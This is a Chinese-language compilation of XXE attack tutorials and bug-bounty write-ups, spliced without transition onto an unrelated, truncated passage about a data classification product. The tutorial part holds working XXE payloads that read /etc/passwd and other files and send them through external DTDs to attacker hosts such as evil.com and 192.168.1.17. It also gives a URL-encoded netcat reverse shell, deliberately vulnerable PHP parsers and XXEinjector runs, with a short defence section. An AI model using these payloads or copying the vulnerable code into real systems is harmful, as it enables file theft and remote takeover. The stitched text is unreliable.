向他发送它们的/etc/passwd文件内容。 <!DOCTYPE roottag [ <!ENTITY % file SYSTEM "file:///etc/issue"> <!ENTITY % dtd SYSTEM "http://www.davidsopas.com/poc/xxe.dtd"> %dtd;]> <gpx version="1.0" creator="GPSBabel - http://www.gpsbabel.org" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.topografix.com/GPX/1/0" xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/1/gpx.xsd"> <time>2015-10-29T12:53:09Z</time> <bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon="-8.037170000"/> <trk> <name>&send;</name> (...) 这看起来十分熟悉。这里他使用了两个实体，它们都在 DTD 中求值，所以它们使用%定义。&send;在<name>标签中的的引用实际上由返回的xxe.dtd文件定义，他的服务器将其发送回 Wikiloc。这里是这个文件： <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'http://www.davidsopas.com/XXE?%file;'>"> %all; 要注意%all;实际上定义了!ENTITY send，我们刚刚在<name>标签中注意到它。这里是求值的过程： 1.Wikiloc 解析了 XML，并将%dtd;求值为 David 的服务器的外部调用。 2.David 的服务器向 Wikiloc 返回了xxe.dtd文件。 3.Wikiloc 解析了收到的 DTD文件，它触发了%all;的调用。 4.当%all;求值时，它定义了&send;，它包含%file;实体的调用。 5.%file;在 URL 值中被替换为/etc/passwd文件的内容。 6.Wikiloc 解析了 XML 文件，发现了&send;实体，它求值为 David 服务器的远程调用，带有/etc/passwd的内容，作为 URL 中的参数。 重要结论: 像之前提到的那样，这是一个不错的例子，展示了如何使用来自站点的 XML 模板，来组装你自己的 XML 实体，便于让目标合理地解析文件。这里，Wikiloc 期待.gpx文件，而 David 保留了该结构，在预期标签中插入了他自己的 XML 实体，也就是<name>标签。此外，观察如何处理恶意 DTD 文件很有意思，并且可以用于随后让目标向你的服务器发送 GET 请求，带有文件内容作为 URL 参数。 ###客户端XXE案例 日前，某office文档转换软件被爆存在XXE漏洞（PS:感谢TSRC平台白帽子Titans`报告漏洞），某一应用场景为：Web程序调用该office软件来获取office文档内容后提供在线预览。由于该软件在处理office文档时，读取xml文件且允许引用外部实体，当用户上传恶意文档并预览时触发XXE攻击。详情如下： 新建一个正常文档，内容为Hi TSRC， 使用该软件转换后可以得到文本格式的文档内容， 当往该docx的xml文件注入恶意代码（引用外部实体）时，可进行XXE攻击。 ###xxe漏洞环境实列 1.环境搭建 这里按照 Attacking XML with XML External Entity Injection (XXE) 的教程在 kali 2 下进行测试 Victim IP: 192.168.1.28 Attacker IP: 192.168.1.17 存在xxe漏洞的php代码如下，加了一些注释 <?php # Enable the ability to load external entities libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); # http://hublog.hubmed.org/archives/001854.html # LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值 # LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件 $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure $creds = simplexml_import_dom($dom); $user = $creds->user; $pass = $creds->pass; echo "You have logged in as user $user"; ?> 在 /var/www/html 下创建 xmlinject.php 文件，启动apache cd /var/www/html vim xmlinject.php service apache2 start 测试 POST http://192.168.1.28/xmlinject.php <creds> <user>admin</user> <pass>mypass</pass> </creds> 响应 You have logged in as user admin 使用外部实体来加载本地文件 POST http://192.168.1.28/xmlinject.php <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <creds> <user>&xxe;</user> <pass>mypass</pass> </creds> 这里声明了一个外部实体 xxe，值为 file:///etc/passwd，即本地 /etc/passwd 文件的内容 <!ENTITY xxe SYSTEM "file:///etc/passwd" > 然后在元素 user 内引用了该实体 &xxe; <user>&xxe;</user> 请求响应 You have logged in as user root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync .... 命令执行因为默认都没有装 expect module, 就不进行测试了 2.漏洞利用 在之前的例子中，结果被作为响应的一部分被返回了，但如果遇到没有回显的情况，就需要使用其他办法。 因为无法直接将要读取的文件内容发送到服务器，所以需要通过变量的方式，先把要读取的文件内容保存到变量中，然后通过 URL 引用外部实体的方式，在 URL 中引用该变量，让文件内容成为 URL 的一部分(如查询参数)，然后通过查看访问日志的方式来获取数据。 前面提到只有在 DTD 文件中声明 参数实体 时才可以引用其他参数实体，如 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE foo [ <!ENTITY % param1 "Hello"> <!ENTITY % param2 ",World"> <!ENTITY % outter SYSTEM "other.dtd"> %outter; ]> other.dtd 文件内容为: <!ENTITY % name "%param1;%param2;"> 参数实体 name 引用了 参数实体 param1 和 param2，最后的值为 Hello,World 根据上面的分析，给出方法： 请求payload <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.1.17:80/file.dtd">%remote;%int;%send; ]> <foo></foo> 外部 DTD 文件 http://192.168.1.17:80/file.dtd 内容： <!ENTITY % file SYSTEM "file:///etc/hosts"> <!ENTITY % int "<!ENTITY &#37; send system 'http://192.168.1.17:80/?p=%file;'>"> 因为实体的值中不能有 %, 所以将其转成html实体编码 ` %` 过程分析： 首先 %remote; 加载 外部 DTD 文件，得到： <!ENTITY % file SYSTEM "file:///etc/hosts"> <!ENTITY % int "<!ENTITY &#37; send system 'http://192.168.1.17:80/?p=%file;'>"> %int;%send; 接着 %int; 获取对应实体的值，因为值中包含实体引用 %file;, 即 /etc/hosts 文件的内容，得到: <!ENTITY &#37; send system 'http://192.168.1.17:80/?p=[文件内容]'> %send; 最后 %send; 获取对应实体的值，会去请求对应 URL 的资源，通过查看访问日志即可得到文件内容，当然这里还需要对内容进行编码，防止XML解析出错. **以下内容参考了exploitation-xml-external-entity-xxe-injection 这篇文章 ** 这里使用 XXEinjector 来进行无回显自动化获取文件。 首先修改之前的代码，去掉回显 <?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // $creds = simplexml_import_dom($dom); // $user = $creds->user; // $pass = $creds->pass; // echo "You have logged in as user $user"; ?> 下载 XXEinjector git clone https://github.com/enjoiz/XXEinjector.git cd XXEinjector 使用 burp 获取原始正常的请求 curl -d @xml.txt http://192.168.1.28/xmlinject.php --proxy http://127.0.0.1:8081 xml.txt 内容 <creds> <user>Ed</user> <pass>mypass</pass> </creds> burp中获取到的请求信息 POST /xmlinject.php HTTP/1.1 Host: 192.168.1.28 User-Agent: curl/7.43.0 Accept: */* Content-Length: 57 Content-Type: application/x-www-form-urlencoded <creds> <user>Ed</user> <pass>mypass</pass> </creds> 在需要注入 DTD 的地方加入 XXEINJECT，然后保存到 phprequest.txt，XXEinjector 需要根据原始请求来进行获取文件内容的操作 POST /xmlinject.php HTTP/1.1 Host: 192.168.1.28 User-Agent: curl/7.43.0 Accept: */* Content-Length: 57 Content-Type: application/x-www-form-urlencoded XXEINJECT <creds> <user>Ed</user> <pass>mypass</pass> </creds> 运行 XXEinjector sudo ruby XXEinjector.rb --host=192.168.1.17 --path=/etc/hosts --file=phprequest.txt --proxy=127.0.0.1:8081 --oob=http --verbose --phpfilter 参数说明 host: 用于反向连接的 IP path: 要读取的文件或目录 file: 原始有效的请求信息，可以使用 XXEINJECT 来指出 DTD 要注入的位置 proxy: 代理服务器，这里使用burp，方便查看发起的请求和响应 oob：使用的协议，支持 http/ftp/gopher，这里使用http phpfilter：使用 PHP filter 对要读取的内容进行 base64 编码，解决传输文件内容时的编码问题 运行后会输出 payload 和 引用的 DTD 文件 XXEinjector git:(master) sudo ruby XXEinjector.rb --host=192.168.1.17 --path=/etc/hosts --file=phprequest.txt --proxy=127.0.0.1:8081 --oob=http --verbose --phpfilter Password: XXEinjector by Jakub Pałaczyński DTD injected. Enumeration locked. Sending request with malicious XML: http://192.168.1.28:80/xmlinject.php {"User-Agent"=>"curl/7.43.0", "Accept"=>"*/*", "Content-Length"=>"159", "Content-Type"=>"application/x-www-form-urlencoded"} <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.1.17:80/file.dtd">%remote;%int;%trick;]> <creds> <user>Ed</user> <pass>mypass</pass> </creds> Got request for XML: GET /file.dtd HTTP/1.0 Responding with XML for: /etc/hosts XML payload sent: <!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/hosts"> <!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://192.168.1.17:80/?p=%payl;'>"> payload为 <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.1.17:80/file.dtd">%remote;%int;%trick;]> DTD文件为 <!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/hosts"> <!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://192.168.1.17:80/?p=%payl;'>"> 成功获取到文件 Response with file/directory content received: GET /?p=MTI3LjAuMC4xCWxvY2FsaG9zdAoxMjcuMC4xLjEJa2FsaQoKIyBUaGUgZm9sbG93aW5nIGxpbmVzIGFyZSBkZXNpcmFibGUgZm9yIElQdjYgY2FwYWJsZSBob3N0cwo6OjEgICAgIGxvY2FsaG9zdCBpcDYtbG9jYWxob3N0IGlwNi1sb29wYmFjawpmZjAyOjoxIGlwNi1hbGxub2RlcwpmZjAyOjoyIGlwNi1hbGxyb3V0ZXJzCg== HTTP/1.0 Enumeration unlocked. Successfully logged file: /etc/hosts XXEinjector git:(master) cat Logs/192.168.1.28/etc/hosts.log 127.0.0.1 localhost 127.0.1.1 kali # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters 在 kali 下拿 /etc/passwd 测试时，无法获取到，文件大小为 2.9K，base64后的长度为 3924 个字符 root@kali:/var/www/html# ls -lh /etc/passwd -rw-r--r-- 1 root root 2.9K Jan 20 2016 /etc/passwd 报错为： root@kali:/var/www/html# tail -f /var/log/apache2/error.log -n 0 [Wed Nov 16 04:45:23.548874 2016] [:error] [pid 1379] [client 192.168.1.17:57042] PHP Warning: DOMDocument::loadXML(): Detected an entity reference loop in http://192.168.1.17:80/file.dtd, line: 2 in /var/www/html/xmlinject.php on line 5 [Wed Nov 16 04:45:23.549126 2016] [:error] [pid 1379] [client 192.168.1.17:57042] PHP Notice: DOMDocument::loadXML(): PEReference: %int; not found in Entity, line: 1 in /var/www/html/xmlinject.php on line 5 [Wed Nov 16 04:45:23.549155 2016] [:error] [pid 1379] [client 192.168.1.17:57042] PHP Notice: DOMDocument::loadXML(): PEReference: %trick; not found in Entity, line: 1 in /var/www/html/xmlinject.php on line 5 减少文件大小后，可以获取到，推测应该是 外部实体中的 URI 有长度限制导致无法获取到 ###xxe的典型案例二 1.安装并运行起来 使用以下PHP脚本，它解析发送给它的XML并将其回传给用户。我把它命名为NEW_XXE.php，并把它放在我的Web根目录下的CUSTOM目录中。 <?php $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $xml = simplexml_import_dom($dom); $stuff = $xml->stuff; $str = "$stuff \n"; echo $str; ?> 如果要在实验室中创建此场景，你可以将上述脚本放入PHP服务器（要先确保安装了php-xml） 现在创建一个xml文件，作为请求发送到具有以下内容的服务器。我命名为“send.txt”，并将其从服务器上发送到本地主机，以确保一切都符合预期。 你可以把任何你想要的东西，像这样把它发送到本地主机。 2.一些External Entities请求 将“send.txt”修改为以下内容： 这是对Linux系统的典型XXE攻击，是证明该漏洞存在的好方法。如果一切正常，你应该得到一个“/ etc / passwd”转储（dump）。 从 服务器上 再次发送到本地主机。 XXE可以做的另一件非常有用的事情是创建HTTP请求。 在WEBSVR01上的8888端口上启动python SimpleHTTPServer，我们来看看会发生什么。 我的python http server服务器。 我们可以发送http请求了。 在远程系统中，我可以利用此漏洞并获取一些网络信息。在这里我解释一下这个漏洞，你可以在互联网上许多的Web服务器上发现这个漏洞，你可以用它作为枢轴点。 下图显示了全部。我在34.200.157.128找到了一个网络服务器，该主机真的是NAT /Firewall设备后面的WEBSVR01。WEBSVR01有一个XXE漏洞，我想用来收集信息并用来攻击利用WEBSRV02。我的攻击PC是在开放的互联网上的。 如果你做了适当的信息收集或者枚举，你可以发现这是一个Ubuntu的服务器。你可以在几个敏感的地址查看到这个服务器的网路信息。 首先，你要抓取“/etc/networking/interfaces”，如果需要更多信息，可以查看“/proc/net/route”（如果这些值为十六进制，则可能需要转换它们）。 在我的攻击PC（Ubuntu 14 LTS）中，我创建请求文件从Web服务器抓取“/etc/network/interfaces”。 在ATTACK PC上编辑文件来抓取/etc/passwd： 发送请求： 现在我们知道这个内部网络或DMZ的IP方案的host地址是在哪了。我们使用XXE来获取其内部IP地址10.0.0.3得服务器默认页面。 注意：有些字符会破坏XML。到目前为止，我们只查看了文件或者做了简单的http请求，没有返回会破坏我们的XML的字符。由于我们使用的是PHP，所以返回的内容是base64编码的。在ATTACK PC上更改你的“send.txt”以匹配以下内容，并添加以下PHP过滤器。 现在发送请求 现在我们得到了base64编码的内容，一旦解码，我们就得到了网页的内容了。 3.构建HTTP扫描器 将上面的都放在一起，我们现在可以扫描Web服务器的内部IP范围了。 当然使用Python了。 你可以在我的<a href="https://github.com/rschwass/SCRIPTS/blob/master/XEE_SCANNER.py">GitHub上获取脚本。 从ATTACK PC， EXECUTE！ 让我们看看Base64如何解码10.0.0.4返回的数据。 exploit-db.com上的小漏洞：https://www.exploit-db.com/exploits/10610/ 因为我们获得了一个index.pl（Perl）文件，所以我要假设CGI是启用的，所以这个漏洞可以执行。它通过在GET请求中传递参数来执行，因此我们可以对面向公网的主机进行XXE漏洞攻击。 解密Metasploit模块后，需要发送的请求就像此URL编码的http请求一样： http://10.0.0.4/index.pl?%60mknod%20backpipe%20p%20%26%26%20nc%2034.200.157.80%201337%2 00%3Cbackpipe%20%7C%20%2Fbin%2Fbash%201%3Ebackpipe%26%60 注意，我把我的IP地址放在“34.200.157.80”，我的Netcat侦听器就会启动。整个字符串是一个URL编码的反向Netcat外壳，没有使用“-e”来使用mknod和backpipe。 现在让我们通过XXE漏洞来触发10.0.0.4的漏洞。 在ATTACK PC上创建Netcat侦听器并执行！ 现在你得到一个反向的Shell了 ###xxe典型案例三 那是2016年7月26日的晚上，我游荡在ubermovement网站上，鉴于这只是一个小型应用网站，没有太多的参数可以进行注入测试，我只能先从界面上那大大的搜索框开始常规的测试。 首先，打开我的 Burp Suite 设置代理开始监听浏览器请求，然后就是在网站上瞎转悠咯… 随后，我在网站目录中发现 “search” 存在两个请求： 1. 这个是我搜索的关键字：http://ubermovement.com/api/search/GeneralSearch?crumb=ASmuamNBJiP4eyC3qpXZWu87i5X6PWGh&q=cat&p=0 2. http://ubermovement.com/api/search/GeneralSearch 现在，对于第一个请求我要开始进行各种测试了，包括：XSS、SQL 注入、XPATH、XXE、命令注入… 但理想总是丰满的，而现实却是骨干的，我没有发现任何可能存在的漏洞。 那我只能开始继续测试第二请求了，由于其没有任何参数，所以我将其发送至 “Repeater” 模块，看看是否可能存在目录相关的漏洞。 在大部分的注入测试全部失败后，我开始尝试看看是否存在 XXE 漏洞。 第一件事是先将请求方法改为 POST 看看会获得什么样的相应： 结果，POST 请求的相应跟 GET 请求一样，那么请求头部加一个Content-type:application/xml同时添加如下基本的 XML 代码作为请求怎么样呢？ <?xml version=”1.0″encoding=”utf-8″?> <GeneralSearch>cat</GeneralSearch> 竟然回复的是一个 XML 错误，太好了，这下我有60%的把握确定这里存在 XXE 漏洞。既然确定了那就开始进行 Blind XEE 测试吧。 第一个使用如下 XML 代码： <?xmlversion="1.0" encoding="utf-8"?> <!DOCTYPE dtgmlf6 [ <!ENTITY xxe SYSTEM"file:///etc/passwd"> ]> <GeneralSearch>&xxe;</GeneralSearch> 但很不幸，我得到还是一个 XML 错误的回复。那现在来试试通过 OOB(Out-of-band)方法进行远程文件访问测试： step-1: 在本地上下载安装 XAMPP 并搭建一个网站 step-2: 开启 80 端口的网站，让外部网络能够访问到 step-3: 使用如下 Payoad： <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE dtgmlf6 [<!ENTITY dtgmlf6ent SYSTEM "http://0.0.0.0/"> ]> <GeneralSearch>&dtgmlf6ent;</GeneralSearch> step-4: 开始攻击，随后得到如下报错 step-5: 接着查看服务器日志我发现了来自目标服务器的资源获取请求 至此，手工测试已经基本确定了目标存在 XXE 漏洞，那么再让我们用 AWVS 扫描确认下吧。 确定目标存在 XXE 漏洞，那目标的子域名是否同样存在这个漏洞呢？来让我们使用 Google 搜索下就知道了，测试发现目标子域名同样也都存在这个漏洞，好了是时候提交漏洞了。 ###xxe漏洞测试实列 当允许引用外部实体时，通过构造恶意内容，可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。 1.测试代码 使用simplexml_load_string函数解析body <?php $data = file_get_contents('php://input'); $xml = simplexml_load_string($data); echo $xml->name; ?> 2.漏洞测试 （1）漏洞测试方式一 有回显，直接读取文件 Payload: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <name>&xxe;</name> </root> （2）漏洞测试方式二 无回显，引用远程服务器上的XML文件读取文件 Payload: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://xxe.com/1.xml"> %remote;]> 将以下1.xml保存到WEB服务器下 1.xml <!ENTITY % a SYSTEM "file:///etc/passwd"> <!ENTITY % b "<!ENTITY &#37; c SYSTEM 'gopher://xxe.com/%a;'>"> %b; %c 查看服务器access.log，可以看到访问日志 （3）漏洞测试方式三 在主机上放一个接收文件的php(get.php): <?php file_put_contents('01.txt', $_GET['xxe_local']); ?> 1.xml内容： <!ENTITY % payload SYSTEM"php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://xxe.com/get.php?xxe_local=%payload;'>"> %int; %trick; 这个XML，他引用了外部实体etc/passwd作为payload的值，然后又将payload拼接到http://xxe.com/get.php?xxe_local=%payload;，进行HTTP请求。 接收到请求的get.php就将这个文件内容保存到01.txt了，形成了一个文件读取的过程。 发包过去后，就会请求1.xml，解析这个xml造成XXE攻击，读取etc/passwd并进行base64编码后传给get.php，最后保存到主机上 查看服务器access.log，可以看到访问日志 查看01.txt base64解码 ###XXE漏洞挖掘方法 1.简单挖掘方法 提交POST请求XML文件 提交一个POST请求，请求头加上Content-type:application/xml 同时添加测试代码 <?xml version="1.0"encoding="utf-8"?> <test>cat</test> 通过OOB（Out-of-band)方法远程访问文件测试 1. 自建一个网站开启80端口 2. 在测试网站提交payload，如下 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE dtgmlf6 [<!ENTITY dtgmlf6ent SYSTEM "http://0.0.0.0/"> ]> <GeneralSearch>&dtgmlf6ent;</GeneralSearch> 3.查看网站返回内容 4.查看自建服务器访问日志，是否有DTD文件等请求 2.确认XXE漏洞 出于演示的目的，我们将用到一个Acunetix维护的demo站点，这个站点就是: http://testhtml5.vulnweb.com/。这个站点可用于测试Acunetix web扫描器的功能。 访问 http://testhtml5.vulnweb.com/ 站点，点击 ‘Login’下面的 ‘Forgot Password’ 链接。注意观察应用程序怎样使用XML传输数据，过程如下图所示： 请求： 响应： 观察上面的请求与响应，我们可以看到，应用程序正在解析XML内容，接受特定的输入，然后将其呈现给用户。为了测试验证XML解析器确实正在解析和执行我们自定义的XML内容，我们发送如下的请求 修改后的请求和响应： 如上图所示，我们在上面的请求中定义了一个名为myentity、值为’testing’的实体。 响应报文清晰地展示了解析器已经解析了我们发送的XML实体，然后并将实体内容呈现出来了。 由此，我们可以确认，这个应用程序存在XXE漏洞 <!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://evil.com/?content=%file;'>"> %payload; <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini"> <!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd"> %dtd; %send;]> <root></root> 3.寻找XXE 1.检测xml是否被解析 <?xml version="1.0" encoding="ISO-8859-1"?> <Prod> <Prod> <Type>abc</type> <name>Bugcrowd</name> <id>21</id> </Prod> </Prod> 2.检测是否支持外部实体解析 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://YOURIP/TEST.ext" >]> <Prod> <Prod> <Type>abc</type> <name>Bugcrowd</name> <id>&xxe</id> </Prod> </Prod> 4.xxe 注入利用步骤 在用户可控的XML数据里面将恶意内容写入到实体中，即可导致任意文件读取，系统命令执行等危害。 （1）测试是否允许外部实体引用 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ELEMENT root (data)> <!ELEMENT data (#PCDATA)> <!ENTITY var "tzuxung"> ]> <root> <data>&var;</data> </root> （2）任意文件读取 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ELEMENT root (data)> <!ELEMENT data (#PCDATA)> <!ENTITY var SYSTEM "file:///etc/passwd"> ]> <root> <data>&var;</data> </root> （3）通过PHP：//过滤器读取 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ELEMENT root (data)> <!ELEMENT data (#PCDATA)> <!ENTITY var SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/xxe.php"> ]> <root> <data>&var;</data> </root> （4）xxe注入测试代码 xxe.php是一个存在XXE注入漏洞的简单页面 <html> <body> <h1>XXE Example</h1> <form method="post" enctype="multipart/form-data"> <label for="file">XML File:</label> <input type="file" name="file" id="file"> <input type="submit" name="submit" value="Upload"> </form> <h1>Result</h1> <?php if( isset($_FILES["file"])){ $doc = new DOMDocument(); $doc->validateOnParse = true; $doc->Load($_FILES["file"]["tmp_name"]); $tags = $doc->getElementsByTagName("data"); foreach($tags as $tag) { echo "<pre>" . $tag->nodeValue . "</pre>\n"; } } else { echo "<h3>No file was selected for upload.</h3>"; } ?> </body> </html> ###xxe自动化注入检查工具 https://github.com/enjoiz/XXEinjector ### XXE防御 1.使用开发语言提供的禁用外部实体的方法 PHP： libxml_disable_entity_loader(true); JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); Python： from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)) 2.过滤用户提交的XML数据 对变量：<!DOCTYPE和<!ENTITY，或者，SYSTEM和PUBLIC进行过滤. 例如，让我们来试着定义一个新的自定义实体“harmless”。 <!DOCTYPE results [ <!ENTITY harmless "completely harmless"> ]> 现在，包含这个实体定义的XML文档可以在任何允许的地方引用&harmless;实体。 <?xml version="1.0"?> <!DOCTYPE results [<!ENTITY harmless "completely harmless">]> <results> <result>This result is &harmless;</result> </results> XML解析器，例如PHP DOM，在解析这段XML时，会在加载完文档后立即处理这个自定义实体。因此，请求相关文本时，会得到如下的返回： This result is completely harmless 下面的这个就肯定不是无害的输入： <?xml version="1.0"?> <!DOCTYPE results [<!ENTITY harmless SYSTEM "file:///var/www/config.ini">]> <results> <result>&harmless;</result> </results> 3.检查所使用的底层xml解析库，默认禁止外部实体的解析 4.使用第三方应用代码及时升级补丁 5.同时增强对系统的监控，防止此问题被人利用 对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用这样一个函数 <?php libxml_disable_entity_loader(true); ?> 以进行防护,对于XMLReader和DOM方式解析,可以参考如下代码: <?php // with the XMLReader functionality: $doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET); // with the DOM functionality: $dom = new DOMDocument(); $dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR); ?>> <wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;"> 来自为知笔记(Wiz)

背景 虽然整体上大家做分类分级的背景以及目标基本一致：满足监管要求；为数据合规和安全体系建设打好基础。但是实施落地的过程不尽相同，每个客户所处的行业不同，所要遵循的分类分级标准不同，同时每个客户的数据也是截然不同，定制化需求是普遍存在。 当前一些业务模式相对简单的公司，使用excel的方式人工进行数据分类分级；规模更大业务更复杂的公司自研或采购第三方数据分类分级产品或服务。市场上大部分供应商采取产品+服务的方式服务客户，其中产品敏感识别能力较弱更多以运营功能为主，敏感数据识别更多的以人力服务的方式帮助客户进行梳理，虽然能满足监管要求，但是存在以下公认的问题： · 无法做到持续运营，交付的产物是基于当时的数据情况，后续新增数据要么需要人介入重新进行梳理，要么无法保证能够持续准确识别 · 准确率低或不稳定，特别是在数据元信息质量较低的情况 · 人力投入成本高 仅满足监管要求不是我们的终极目标，我们希望用九智汇分类分级产品在满足监管的前提下，为数据合规和数据安全打下坚实的基础，所以我们： · 采集样本数据，走样本数据为主、元数据为辅的技术路线，一方面可以保证已建设的识别能力可持续识别，另一方面准确率稳定性不受元数据质量影响 ·提供智能化、 无侵人、开箱即用的同时，打造易用、灵活、强大的自定义功能，满足客户的定制化需求，一方面降低交付成本，另一方面降低门槛让客户可以自助使用产品进行敏感数据识别。 实践方案 如果没有系统或产品，纯人工来做数据分类分级，基本上大家完成这件事情的步骤都是：找数据在哪里->梳理数据有哪些->找敏感数据->归类->分级。同理，我们的产品也遵循这个思路，设计了一套标准的敏感数据识别流程，如下图： 在这个流程中，每个节点我们代码层面的设计和实现都遵循可配置的原则，可以根据客户环境、现状和需求等情况调整配置进行适配。另外，尽可能的支持客户自定义，比如在“敏感数据识别”、“自动分类”、“自动审核”等节点我们都添加了易用的自定义功能，方便满足客户的定制化需求。 数据源扫描 负责数据分类分级落地，碰到的首要问题肯定是：我们有哪些数据，这些数据在哪里，是否有遗漏的数据未找到？为此我们研发了数据源扫描器来帮助发现数据源，尽可能的帮助客户自动发现数据源，尽可能的不遗漏数据源，该扫描器目前具备以下两种能力： · 部署到指定网络环境内，扫描和探测网络环境内可能是数据存储的目标，比如可以通过扫描一些常用端口来发现关系数据库 · 按照要求给云账号的AK配置权限后，可以通过该AK拉取云账号的所有数据存储资源列表 数据源集成 当然除了上面提到的自动扫描，也可以通过输入endpoint手动添加数据源。自动扫描发现或手动添加的数据源，一般情况下是需要鉴权才能访问，这就需要我们找到对应负责人提供账号密码连接到数据源。产品特别提供了一个密钥对管理功能来来解决安全问题： · 加密存储鉴权信息（如账号密码），提升安全性； · 连接数据源无需直接输入鉴权信息，选择已经维护好的密钥对即可，有效减少接触到明文鉴权信息的人员，降低泄漏风险。 另外产品交付过程中，实际上每个客户的数据源类型不一样，同种类型的数据源也会有不同版本，为此我们在数据源集成这里采用插件的设计，插件之间、插件和应用之间隔离运行，以帮助我们解决以下问题： · 同种类型的数据源，支持不同版本，避免不同版本连接驱动之间依赖冲突问题 · 应用无需直接依赖数据源驱动，避免大量数据源驱动依赖带来的各种冲突问题 · 满足客户数据源集成的定制化需求，不侵入应用代码 目前我们已经支持以下类型数据源： · 关系数据库：MySQL、ORACLE、SQLServer、达梦数据库、IBM DB2、MariaDB、PostgreSQL等 · 大数据平台：Hive、Maxcompute、ClickHouse、Hbase · 文件存储：阿里云OSS、腾讯云COS、华为云OBS、AWS S3、Ceph、Minio · 文档平台：语雀 元数据同步 在数据源连接成功之后，如果要搞清楚到底哪些数据，我们就需要读取数据源内部的结构比如表、字段、文件夹、文件的元信息，这些元信息主要有以下作用： · 为抽样提供参考依据，比如可以根据表的数据量采取不同的抽样方法，保证样本的随机性，以及降低对数据源的性能和稳定性影响 · 为敏感数据识别提供上下文，帮助进一步确定敏感数据类型，比如根据抽样数据我能确定该字段是姓名，但是如果有字段备注、字段名称、表名、表备注信息以及同表其他字段信息，就有可能进一步确定该字段是否是法人姓名 另外，稍微量级大一点的业务就会涉及分库分表，这也是在元数据同步要解决的问题，需要将分库分表的库、表进行合并，抽样的时候也需要考虑去不同的库、不同的的表进行抽样。 数据抽样 数据抽样是一个体力活，也是一个技术活。说是体力活是因为每一种数据源类型甚至每一个类型的数据源版本可能抽样方法都不一样，需要单独做技术实现。说是技术活是因为无论是哪一种数据源类型，不仅要考虑能否抽到数据，还要保证： · 抽样数据的随机性和数量，只有这样才能保证识别准确率 · 抽样对数据源的性能和稳定性影响必须要做到最小，即使连接的备库，每个客户都非常在意这一点，如果在这一点无法取得客户信任，项目就非常难往前推进 即使解决了上面两个最重要的问题，还有保证抽样性能和稳定性，你可能会遇到以下问题： · 大数据平台（如Hive）抽样如果在保证样本随机性的情况下，不触发MR任务 · 上百亿的大表，如何进行抽样才能保证样本随机性、性能 · 大字段，单次抽太多肯定会引发IO问题，如何进行分批抽样 · 同步抽样肯定会存在超时问题，异步化或回调，哪种方式更好 识别敏感数据 敏感数据识别是整个流程中最核心的一个环节，也是算法同学发挥的舞台，首先是要把算法能力集成好，算法需要使用的能力涉及到： · 正则，由于会有大量的正则匹配，Java自带的正则能力是无法满足性能要求的，需要使用RE2或HyperScan · PMML，机器学习模型 · ONNX，深度学习模型 · NVIDIA Triton Server，推理服务，主要用于非结构化数据识别 由于每个客户所处的行业不一样，业务数据更是截然不同，为根据客户的数据现状实现更好识别效果以及满足客户的定制化需求，我们支持了可自助配置、训练的敏感数据识别能力： · 基与YAML格式标准化的识别逻辑配置能力，可自助研发识别能力并录入到产品中 · 自助配置规则树，基于规则树进行敏感数据识别 · 